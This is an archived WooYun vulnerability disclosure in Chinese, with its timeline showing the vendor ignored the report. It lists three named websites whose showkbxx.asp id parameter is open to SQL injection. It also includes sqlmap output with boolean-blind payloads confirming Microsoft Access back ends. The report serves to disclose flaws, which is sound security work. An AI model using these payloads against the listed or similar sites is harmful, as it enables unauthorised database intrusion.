乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-01-09: 细节已通知厂商并且等待厂商处理中 2015-01-14: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放 2015-03-10: 细节向核心白帽子及相关领域专家公开 2015-03-20: 细节向普通白帽子公开 2015-03-30: 细节向实习白帽子公开 2015-04-02: 细节向公众公开
RT.
更多案例见: WooYun: 新云cms建站系统存在ewebeditor上传和iis解析漏洞可批量getshell
http://www.yjcjy.com/showkbxx.asp?id=43http://www.bjsanda.net/showkbxx.asp?id=159http://www.gl360.org/showkbxx.asp?id=26
Place: GETParameter: id Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=43 AND 6462=6462---[12:15:13] [INFO] testing Microsoft Access[12:15:13] [INFO] confirming Microsoft Access[12:15:14] [INFO] the back-end DBMS is Microsoft Accessweb server operating system: Windows 2003web application technology: ASP.NET, Microsoft IIS 6.0, ASPback-end DBMS: Microsoft Access[12:15:14] [WARNING] HTTP error codes detected during testing:500 (Internal Server Error) - 41 times[12:15:14] [WARNING] cannot properly display Unicode characters inside Windows OS command prompt (http://bugs.python.org/issue1602). All unhandled occurances will result in replacement with '?' character. Please, find proper character representation inside corresponding output files.[12:15:14] [INFO] fetched data logged to text files under 'C:\DOCUME~1\ADMINI~1\??\??\SQLMAP~1\SQLMAP~1\Bin\output\www.yjcjy.com'
Place: GETParameter: id Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=26 AND 1265=1265---[12:19:09] [INFO] testing Microsoft Access[12:19:09] [INFO] confirming Microsoft Access[12:19:10] [INFO] the back-end DBMS is Microsoft Accessweb server operating system: Windows 2003web application technology: ASP.NET, Microsoft IIS 6.0, ASPback-end DBMS: Microsoft Access[12:19:10] [WARNING] HTTP error codes detected during testing:500 (Internal Server Error) - 49 times[12:19:10] [WARNING] cannot properly display Unicode characters inside Windows OS command prompt (http://bugs.python.org/issue1602). All unhandled occurances will result in replacement with '?' character. Please, find proper character representation inside corresponding output files.[12:19:10] [INFO] fetched data logged to text files under 'C:\DOCUME~1\ADMINI~1\??\??\SQLMAP~1\SQLMAP~1\Bin\output\www.gl360.org'
过滤
危害等级:无影响厂商忽略
忽略时间:2015-04-02 10:23
暂无